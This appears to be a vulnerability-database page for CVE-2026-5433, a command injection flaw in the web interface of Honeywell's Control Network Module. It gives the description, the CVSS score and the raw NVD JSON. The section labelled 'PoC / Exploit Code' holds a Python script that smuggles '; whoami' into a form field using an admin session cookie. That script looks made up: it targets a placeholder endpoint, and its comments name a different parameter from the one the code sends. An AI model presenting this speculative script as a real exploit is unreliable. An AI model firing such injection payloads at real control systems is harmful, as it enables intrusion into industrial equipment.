CVE-2026-5433

Description

Honeywell Control Network Module (CNM) contains command injection vulnerability in the web interface. An attacker could exploit this vulnerability via command delimiters, potentially resulting in Remote Code Execution (RCE).

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Honeywell Control Network Module (CNM) (具体受影响版本请参考厂商安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-5433 Honeywell CNM Command Injection
# This script demonstrates the injection of a command delimiter.

import requests

target_ip = "192.168.1.100"
url = f"http://{target_ip}/api/vulnerable_endpoint"

# Attacker needs High Privileges (PR:H), valid session cookie is assumed
cookies = {"session_id": "valid_admin_session_token"}

# Payload using semicolon delimiter to execute 'whoami'
# The vulnerable parameter 'cmd' assumes the system takes input and executes it
payload = "normal_input; whoami"

data = {
    "config_param": payload
}

try:
    response = requests.post(url, data=data, cookies=cookies, timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Check response for command execution output.")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5433
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5433
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5433/
[4] VulDB https://vuldb.com/cve/CVE-2026-5433
[5] https://process.honeywell.com/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5433", "sourceIdentifier": "[email protected]", "published": "2026-05-21T09:16:30.270", "lastModified": "2026-05-21T15:26:35.653", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Honeywell Control\nNetwork Module (CNM) contains command injection vulnerability\nin the web interface. An attacker could exploit this vulnerability via command\ndelimiters, potentially resulting in Remote Code Execution (RCE)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "references": [{"url": "https://process.honeywell.com/", "source": "[email protected]"}]}}